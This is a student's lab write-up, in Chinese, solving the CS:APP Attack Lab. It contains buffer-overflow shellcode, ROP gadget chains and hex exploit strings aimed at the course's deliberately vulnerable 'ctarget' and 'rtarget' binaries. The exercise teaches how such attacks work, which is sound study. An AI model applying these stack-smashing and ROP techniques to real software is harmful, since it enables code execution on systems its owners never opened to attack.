|
|
-
-
-
-
- # Attack Lab
-
- 10225501432 邓博昊 target66
-
- ## ctarget
-
- 使用`gdb ctarget`调试程序
-
- 使用`disass <function>`获得`<function>`的汇编代码
-
- 使用`r -i {phase_i_raw}`带入`exploit string`运行程序
-
- ### Level 1
-
- `ctarget`程序被调用时,执行`test`函数,`test`函数调用`getbuf`函数
-
- 我们需要将`getbuf`函数在返回时重定向到`touch1`而非继续回到`test`函数
-
- <big>**1)查看`test`、`touch1`函数C代码**</big>
-
- 先贴出题干所给函数代码
-
- ```c
- void test()
- {
- int val;
- val = getbuf();
- printf("No exploit. Getbuf returned 0x%x\n", val);
- }
-
- void touch1() {
- vlevel = 1;
- printf("Touch!: You called touch1()\n");
- validate(1);
- exit(0);
- }
- ```
-
- <big>**2)查看`getbuf`、`touch1`函数汇编代码**</big>
-
- 获取`getbuf`、`touch1`函数汇编代码
-
- ```assembly
- Dump of assembler code for function getbuf:
- 0x0000555555401a65 <+0>: sub $0x18,%rsp
- 0x0000555555401a69 <+4>: mov %rsp,%rdi
- 0x0000555555401a6c <+7>: call 0x555555401d05 <Gets>
- 0x0000555555401a71 <+12>: mov $0x1,%eax
- 0x0000555555401a76 <+17>: add $0x18,%rsp
- 0x0000555555401a7a <+21>: ret
- End of assembler dump.
- ```
-
- ```assembly
- Dump of assembler code for function touch1:
- 0x0000555555401a7b <+0>: sub $0x8,%rsp
- 0x0000555555401a7f <+4>: movl $0x1,0x203953(%rip) # 0x5555556053dc <vlevel>
- 0x0000555555401a89 <+14>: lea 0x1967(%rip),%rdi # 0x5555554033f7
- 0x0000555555401a90 <+21>: call 0x555555400e10 <puts@plt>
- 0x0000555555401a95 <+26>: mov $0x1,%edi
- 0x0000555555401a9a <+31>: call 0x555555401f75 <validate>
- 0x0000555555401a9f <+36>: mov $0x0,%edi
- 0x0000555555401aa4 <+41>: call 0x555555400f80 <exit@plt>
- End of assembler dump.
- ```
-
- `getbuf`函数开辟了24个字节的栈空间
-
- <big>**3)构建攻击字符串**</big>
-
- 我们目前可以知道的:
-
- * 运行环境为`AMD64 Linux`,使用小端法,内存低位储存低位字节数
-
- * 栈的生长方向向内存低位生长
- * `getbuf`函数ret地址为%rsp+0x18
- * `touch1`函数入口为`0x0000555555401a7b`
-
- 我们需要构建一个字符串,其需要满足的条件:
-
- * 改变`getbuf`函数ret时返回地址,使其变为`0x0000555555401a7b`
-
- * 数字需要的字节数为`24+8 = 32`位
- * 符合小端法
-
- 字符串数据按输入顺序从低地址向高地址存储数据
-
- 无意义的字符均用0表示,我们需要构建的字符串即为
-
- ```
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 7b 1a 40 55 55 55 00 00
- ```
-
- 将上述字符串存入`phase_1.txt`
-
- <big>**4)将字符串转化为字节码并运行程序**</big>
-
- 输入以下命令即可完成`touch1`
-
- ```bash
- ./hex2raw < phase_1.txt > phase_1_raw.txt
- gdb ctarget
- r -i phase_1_raw.txt
- ```
-
-
-
- ### Level 2
-
- 任务要求`ctarget`程序执行`touch2`函数,而非返回`test`函数
-
- <big>**1)查看`touch2`函数C代码**</big>
-
- 题干所给`touch2`函数C代码如下
-
- ```c
- void touch2(unsigned val){
- vlevel = 2; /* Part of validation protocol */
- if (val == cookie){
- printf("Touch2!: You called touch2(0x%.8x)\n", val);
- validate(2);
- } else {
- printf("Misfire: You called touch2(0x%.8x)\n", val);
- fail(2);
- }
- exit(0);
- }
- ```
-
- `touch2`函数要求传入一个参数`val`,只有`val`和`cookie`值相同程序才执行成功
-
- <big>**2)查看`touch2`函数汇编代码**</big>
-
- `touch`函数汇编代码如下
-
- ```assembly
- Dump of assembler code for function touch2:
- 0x0000555555401aa9 <+0>: sub $0x8,%rsp
- 0x0000555555401aad <+4>: mov %edi,%edx
- 0x0000555555401aaf <+6>: movl $0x2,0x203923(%rip) # 0x5555556053dc <vlevel>
- 0x0000555555401ab9 <+16>: cmp %edi,0x203925(%rip) # 0x5555556053e4 <cookie>
- 0x0000555555401abf <+22>: je 0x555555401aeb <touch2+66>
- 0x0000555555401ac1 <+24>: lea 0x1980(%rip),%rsi # 0x555555403448
- 0x0000555555401ac8 <+31>: mov $0x1,%edi
- 0x0000555555401acd <+36>: mov $0x0,%eax
- 0x0000555555401ad2 <+41>: call 0x555555400f30 <__printf_chk@plt>
- 0x0000555555401ad7 <+46>: mov $0x2,%edi
- 0x0000555555401adc <+51>: call 0x555555402045 <fail>
- 0x0000555555401ae1 <+56>: mov $0x0,%edi
- 0x0000555555401ae6 <+61>: call 0x555555400f80 <exit@plt>
- 0x0000555555401aeb <+66>: lea 0x192e(%rip),%rsi # 0x555555403420
- 0x0000555555401af2 <+73>: mov $0x1,%edi
- 0x0000555555401af7 <+78>: mov $0x0,%eax
- 0x0000555555401afc <+83>: call 0x555555400f30 <__printf_chk@plt>
- 0x0000555555401b01 <+88>: mov $0x2,%edi
- 0x0000555555401b06 <+93>: call 0x555555401f75 <validate>
- 0x0000555555401b0b <+98>: jmp 0x555555401ae1 <touch2+56>
- End of assembler dump.
- ```
-
- 则`touch2`函数入口地址为`0x0000555555401aa9`
-
- <big>**3)构建汇编代码**</big>
-
- 实验给出的建议:
-
- - 使用ret指令调用touch2函数
- - touch2的参数要存在rdi寄存器中
- - 插入的代码应该设置寄存器存着Cookie,然后再返回touch2
- - 不用jmp和call指令
- - 使用gcc和objdump生成要插入代码的字节码格式
-
- 我的`cookie = 0x3e8dee8f`
-
- 则我们需要构建的汇编代码应该为
-
- ```assembly
- movq $0x3e8dee8f,%rdi
- movq $0x0000555555401aa9,%rsi # 存储touch2入口地址
- push %rsi
- ret
- ```
-
- 将上述代码存储在`phase_2_assembly.s`
-
- <big>**4)获得机械码**</big>
-
- 使用如下命令生成并反编译获得机械码
-
- ```bash
- gcc -c phase_2_assembly.s -o phase_2_assembly.o
- objdump -d phase_2_assembly.o > phase_2_assembly.d
- ```
-
- 打开`phase_2_assembly.d`
-
- ```assembly
- Disassembly of section .text:
-
- 0000000000000000 <.text>:
- 0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi
- 7: 48 be a9 1a 40 55 55 movabs $0x555555401aa9,%rsi
- e: 55 00 00
- 11: 56 push %rsi
- 12: c3 ret
- ```
-
- 则这段程序机械码为
-
- ```
- 48 c7 c7 8f ee 8d 3e 48 be a9 1a 40 55 55 55 00 00 56 c3
- ```
-
- <big>**5)构建攻击字符串**</big>
-
- 思路为:
-
- * `getbuff`函数获取攻击字符串
- * 字符串使得`getbuff`函数返回至`buff`数组起点
- * `buff`数组起点按顺序储存机械码
- * 程序按照储存的机械码执行我们设计好的汇编指令
-
- 因此我们需要查看`buff`数组起点的内存地址,即`%rsp`储存的内容
-
- 由Level 1中`getbuf`函数汇编代码可知,`getbuf`函数入口为`0x0000555555401a65`
-
- 使用如下命令:
-
- ```bash
- gdb ctarget
- b *0x0000555555401a65
- r -qi phase_1_raw.txt
- stepi
- p &rsp
- ```
-
- 输出:
-
- ```bash
- $1 = (void *) 0x55621b58
- ```
-
- 故构建如下字符串
-
- ```
- 48 c7 c7 8f ee 8d 3e 48
- be a9 1a 40 55 55 55 00
- 00 56 c3 00 00 00 00 00
- 58 1b 62 55 00 00 00 00
- ```
-
- 将上述字符串储存在`phase_2.txt`中
-
- <big>**6)将字符串转化为字节码并运行程序**</big>
-
- 输入以下命令即可完成`touch2`
-
- ```bash
- ./hex2raw < phase_2.txt > phase_2_raw.txt
- gdb ctarget
- r -i phase_2_raw.txt
- ```
-
-
-
- ### Level 3
-
- 任务要求`ctarget`程序执行`touch3`函数,而非返回`test`函数
-
- 注意`touch3`函数内部调用了`hexmatch`函数
-
- <big>**1)查看`touch3`、`hexmatch`函数C代码**</big>
-
- ```C
- int hexmatch(unsigned val, char *sval){
- char cbuf[110];
- char *s = cbuf + random() % 100;
- sprintf(s, "%.8x", val);
- return strncmp(sval, s, 9) == 0;
- }
- void touch3(char *sval){
- vlevel = 3;
- if (hexmatch(cookie, sval)){
- printf("Touch3!: You called touch3(\"%s\")\n", sval);
- validate(3);
- } else {
- printf("Misfire: You called touch3(\"%s\")\n", sval);
- fail(3);
- }
- exit(0);
- }
- ```
-
- hexmatch需要传入`cookie`值,并且需要将`cookie`值以字符串形式传入
-
- <big>**2)查看`test`、`touch3`函数汇编代码**</big>
-
- ```assembly
- Dump of assembler code for function test:
- 0x0000555555401c32 <+0>: sub $0x8,%rsp
- 0x0000555555401c36 <+4>: mov $0x0,%eax
- 0x0000555555401c3b <+9>: call 0x555555401a65 <getbuf>
- 0x0000555555401c40 <+14>: mov %eax,%edx
- 0x0000555555401c42 <+16>: lea 0x1877(%rip),%rsi # 0x5555554034c0
- 0x0000555555401c49 <+23>: mov $0x1,%edi
- 0x0000555555401c4e <+28>: mov $0x0,%eax
- 0x0000555555401c53 <+33>: call 0x555555400f30 <__printf_chk@plt>
- 0x0000555555401c58 <+38>: add $0x8,%rsp
- 0x0000555555401c5c <+42>: ret
- End of assembler dump.
- ```
-
- ```assembly
- Dump of assembler code for function touch3:
- 0x0000555555401bc0 <+0>: push %rbx
- 0x0000555555401bc1 <+1>: mov %rdi,%rbx
- 0x0000555555401bc4 <+4>: movl $0x3,0x20380e(%rip) # 0x5555556053dc <vlevel>
- 0x0000555555401bce <+14>: mov %rdi,%rsi
- 0x0000555555401bd1 <+17>: mov 0x20380d(%rip),%edi # 0x5555556053e4 <cookie>
- 0x0000555555401bd7 <+23>: call 0x555555401b0d <hexmatch>
- 0x0000555555401bdc <+28>: test %eax,%eax
- 0x0000555555401bde <+30>: je 0x555555401c0d <touch3+77>
- 0x0000555555401be0 <+32>: mov %rbx,%rdx
- 0x0000555555401be3 <+35>: lea 0x1886(%rip),%rsi # 0x555555403470
- 0x0000555555401bea <+42>: mov $0x1,%edi
- 0x0000555555401bef <+47>: mov $0x0,%eax
- 0x0000555555401bf4 <+52>: call 0x555555400f30 <__printf_chk@plt>
- 0x0000555555401bf9 <+57>: mov $0x3,%edi
- 0x0000555555401bfe <+62>: call 0x555555401f75 <validate>
- 0x0000555555401c03 <+67>: mov $0x0,%edi
- 0x0000555555401c08 <+72>: call 0x555555400f80 <exit@plt>
- 0x0000555555401c0d <+77>: mov %rbx,%rdx
- 0x0000555555401c10 <+80>: lea 0x1881(%rip),%rsi # 0x555555403498
- 0x0000555555401c17 <+87>: mov $0x1,%edi
- 0x0000555555401c1c <+92>: mov $0x0,%eax
- 0x0000555555401c21 <+97>: call 0x555555400f30 <__printf_chk@plt>
- 0x0000555555401c26 <+102>: mov $0x3,%edi
- 0x0000555555401c2b <+107>: call 0x555555402045 <fail>
- 0x0000555555401c30 <+112>: jmp 0x555555401c03 <touch3+67>
- End of assembler dump.
- ```
-
- 可以看出:
-
- * `test`函数入口为`0x0000555555401c32`
- * `touch3`函数入口为`0x0000555555401bc0`
-
- <big>**3)构建汇编代码**</big>
-
- 阅读题干所给提示:
-
- * 需要一个字符串表示`cookie`值,不需要表示开头`0x`
- * 在C语言中字符串是以`\0`结尾,所以在字符串序列的结尾是一个字节0
- * `man ascii` 可以用来查看每个字符的16进制表示
- * 需要在`%rdi`寄存器内储存字符串的地址
- * 当调用`hexmatch`和`strncmp`时,他们会把数据压入到栈中,有可能会覆盖`getbuf`栈帧的数据,所以传进去字符串的位置必须小心谨慎
-
- 因此汇编代码设计思路为:
-
- * 将字符串写入到不容易被覆盖的`test`函数栈空间,将该地址送入`%rdi`寄存器
- * 压入含`touch3`入口地址的寄存器
- * ret返回
-
- 注意`cookie`值需要转化为16进制ASCII码表示后使用
-
- 根据题目提示`0x`不需要表示,并且字符串结尾为0字节,则对应ASCII码表示为
-
- ```
- 0x3e8dee8f >> 33 65 38 64 65 65 38 66 00
- ```
-
- 我们还需要知道`test函数`栈帧地址
-
- 输入以下命令查看
-
- ```assembly
- gdb ctarget
- b *0x0000555555401c32 # test函数入口
- r -qi phase_1_raw.txt
- stepi
- p $rsp
- ```
-
- 结果显示
-
- ```bash
- $1 = (void *) 0x55621b78
- ```
-
- 因此我们需要构建的汇编代码为
-
- ```assembly
- movq $0x55621b78,%rdi
- movq $0x0000555555401bc0,%rdx
- push %rdx
- ret
- ```
-
- 将上述内容储存在`phase_3_assembly.s`
-
- <big>**4)获得机械码**</big>
-
- 输入以下命令获得机械码
-
- ```bash
- gcc -c phase_3_assembly.s -o phase_3_assembly.o
- objdump -d phase_3_assembly.o > phase_3_assembly.d
- ```
-
- 打开`phase_3_assembly.d`
-
- ```assembly
- Disassembly of section .text:
-
- 0000000000000000 <.text>:
- 0: 48 c7 c7 78 1b 62 55 mov $0x55621b78,%rdi
- 7: 48 ba c0 1b 40 55 55 movabs $0x555555401bc0,%rdx
- e: 55 00 00
- 11: 52 push %rdx
- 12: c3 ret
- ```
-
- 则机械码为
-
- ```
- 48 c7 c7 78 1b 62 55 48 ba c0 1b 40 55 55 55 00 00 52 c3
- ```
-
- <big>**5)构建攻击字符串**</big>
-
- 思路为:
-
- * `getbuff`函数获取攻击字符串
- * 字符串足够长,使得`cookie`的16进制值储存在test栈空间
- * 字符串使得`getbuff`函数返回至`buff`数组起点
- * `buff`数组起点按顺序储存机械码
- * 程序按照储存的机械码执行我们设计好的汇编指令
-
- `buff`数组起点的内存地址由Level 2可知为`0x55621b58`
-
- 故构建如下字符串
-
- ```
- 48 c7 c7 78 1b 62 55 48
- ba c0 1b 40 55 55 55 00
- 00 52 c3 00 00 00 00 00
- 58 1b 62 55 00 00 00 00
- 33 65 38 64 65 65 38 66
- 00
- ```
-
- 将上述字符串储存在`phase_3.txt`中
-
- <big>**6)将字符串转化为字节码并运行程序**</big>
-
- 输入以下命令即可完成`touch3`
-
- ```bash
- ./hex2raw < phase_3.txt > phase_3_raw.txt
- gdb ctarget
- r -i phase_3_raw.txt
- ```
-
-
-
- ## rtarget
-
- 题干所给信息翻译如下:
-
- > 这一部分攻击rtarget程序,但是这个程序使用了两种技术防止代码注入攻击:
- >
- > - 每次栈的位置是随机的,于是我们没有办法确定需要跳转的地址
- > - 即使我们能够找到规律注入代码,但是栈是不可执行的,一旦执行,则会遇到段错误
- >
- > 所以只能利用已有的可执行的代码,来完成我们的操作,称为`retrun-oriented programming(ROP)`,策略就是找到现存代码中的若干条指令,这些指令后面跟着指令ret,每次return相当于从一个gadget跳转到另一个gadget中,然后通过这样不断跳转来完成我们想要的操作。
-
- 使用如下命令获得`farm.c`的反汇编
-
- ```
- gcc -c -Og farm.c
- objdump -d farm.o > farm.d
- ```
-
-
-
- ### Level 2
-
- 这一关要求我们重复上一部分Level 2的攻击,但是无法对rtarget进行代码注入攻击,我们只能使用ROP攻击:利用farm.c中的程序的gadget,构造我们需要的指令,在rtarget中执行
-
- <big>**1)选取gadgets**</big>
-
- 阅读题目提示:
-
- * 我们利用的gadget是从startfarm到midfarm之间的
- * 只需要两个gadget
- * 当使用popq指令时,你的exploit string中必须含有一个地址和data
-
- 因此我们需要的汇编指令为
-
- ```assembly
- popq %rax
- movq %rax,%rdi
- ```
-
- 对应的编码为
-
- ```
- popq %rax > 58
- movq %rax,%rdi > 48 89 c7
- ```
-
- `popq %rax`对应函数为
-
- ```assembly
- Dump of assembler code for function getval_373:
- 0x0000555555401c70 <+0>: b8 d3 f5 c2 58 mov $0x58c2f5d3,%eax
- 0x0000555555401c75 <+5>: c3 ret
- End of assembler dump.
- ```
-
- 我们得出`popq %rax`指令的地址为`0x0000555555401c70+0x4 =0x0000555555401c74`
-
-
-
- `movq %rax,%rdi`对应函数为
-
- ```assembly
- Dump of assembler code for function getval_424:
- 0x0000555555401c84 <+0>: b8 48 89 c7 c3 mov $0xc3c78948,%eax
- 0x0000555555401c89 <+5>: c3 ret
- End of assembler dump.
- ```
-
- 我们得出`movq %rax,%rdi`指令的地址为`0x0000555555401c84+0x1 =0x0000555555401c85`
-
- 反汇编得`touch2`函数入口为`0x0000555555401aa9 `
-
- <big>**2)构建攻击字符串**</big>
-
- 需要使用的地址
-
- ```
- 0x0000555555401aa9 # touch2函数入口地址
- 0x0000555555401c85 # 48 89 c7 movq %rax, %rdi
- 0x3e8dee8f # cookie
- 0x0000555555401c74 # 58 popq %rax
- ```
-
- 构建的`phase_4.txt`如下
-
- ```
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 74 1c 40 55 55 55 00 00
- 8f ee 8d 3e 00 00 00 00
- 85 1c 40 55 55 55 00 00
- a9 1a 40 55 55 55 00 00
- ```
-
- <big>**3)将字符串转化为字节码并运行程序**</big>
-
- 输入以下命令即可完成`touch2`
-
- ```bash
- ./hex2raw < phase_4.txt > phase_4_raw.txt
- gdb rtarget
- r -i phase_4_raw.txt
- ```
-
-
-
- ### Level 3
-
- 这一关要求我们重复上一部分Level 3的攻击,使用ROP攻击的形式。
-
- <big>**1)选取gadgets**</big>
-
- 阅读题目提示:
-
- * 建议查看movl指令对4字节以上操作的影响
- * 官方解决方法用了8个gadgets
-
- 由`ctarget level 3`可知,`cookie`的ASCII字符串表示为
-
- ```
- 0x3e8dee8f >> 33 65 38 64 65 65 38 66 00
- ```
-
- 因为栈地址随机,因此需要找到基准地址,此处选取%rsp
-
- 具体操作:
-
- - 把%rsp里的栈指针地址放到%rdi
- - 拿到bias的值放到%rsi
- - 利用add xy,把栈指针地址和bias加起来放到%rax,再传到%rdi
- - 调用touch3
-
- 因此我们需要的汇编指令为
-
- ```
- movq %rsp,%rax
- movq %rax,%rdi
- popq %rax
- movl %eax,%edx
- movl %edx,%ecx
- movl %ecx,%esi
- lea (%rdi,%rsi,1),%rax
- movq %rax,%rdi
- ```
-
- 对应的编码、函数、地址为
-
- ```
- movq %rsp,%rax > 48 89 e0 > addval_101 > 0x0000555555401cb3
- movq %rax,%rdi > 48 89 c7 > setval_417 > 0x0000555555401c8c
- popq %rax > 58 > getval_373 > 0x0000555555401c74
- movl %eax,%edx > 89 c2 > addval_467 > 0x0000555555401ca5
- movl %edx,%ecx > 89 d1 > setval_191 > 0x0000555555401cac
- movl %ecx,%esi > 89 ce > setval_422 > 0x0000555555401cd5
- lea (%rdi,%rsi,1),%rax > 48 8d 04 37 > add_xy > 0x0000555555401c9e
- movq %rax,%rdi > 48 89 c7 > getval_424 > 0x0000555555401c85
- ```
-
- <big>**2)构建攻击字符串**</big>
-
- 需要使用的地址
-
- ```
- 0x0000555555401cb3 # movq %rsp,%rax
- 0x0000555555401c8c # movq %rax,%rdi
- 0x0000555555401c74 # popq %rax
- 0x48 # bias = 9*8-->0x48
- 0x0000555555401ca5 # movl %eax,%edx
- 0x0000555555401cac # movl %edx,%ecx
- 0x0000555555401cd5 # movl %ecx,%esi
- 0x0000555555401c9e # lea (%rdi,%rsi,1),%rax
- 0x0000555555401c85 # movq %rax,%rdi
- 0x0000555555401bc0 # touch3
- 0x3365386465653866 # hex cookie string
- ```
-
- 构建的攻击字符串为
-
- ```
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- 00 00 00 00 00 00 00 00
- b3 1c 40 55 55 55 00 00
- 8c 1c 40 55 55 55 00 00
- 74 1c 40 55 55 55 00 00
- 48 00 00 00 00 00 00 00
- a5 1c 40 55 55 55 00 00
- ac 1c 40 55 55 55 00 00
- d5 1c 40 55 55 55 00 00
- 9e 1c 40 55 55 55 00 00
- 85 1c 40 55 55 55 00 00
- c0 1b 40 55 55 55 00 00
- 33 65 38 64 65 65 38 66
- ```
-
- 保存为`phase_5.txt`
-
- <big>**3)将字符串转化为字节码并运行程序**</big>
-
- 输入以下命令即可完成`touch23
-
- ```bash
- ./hex2raw < phase_5.txt > phase_5_raw.txt
- gdb rtarget
- r -i phase_5_raw.txt
- ```
-
-
-
|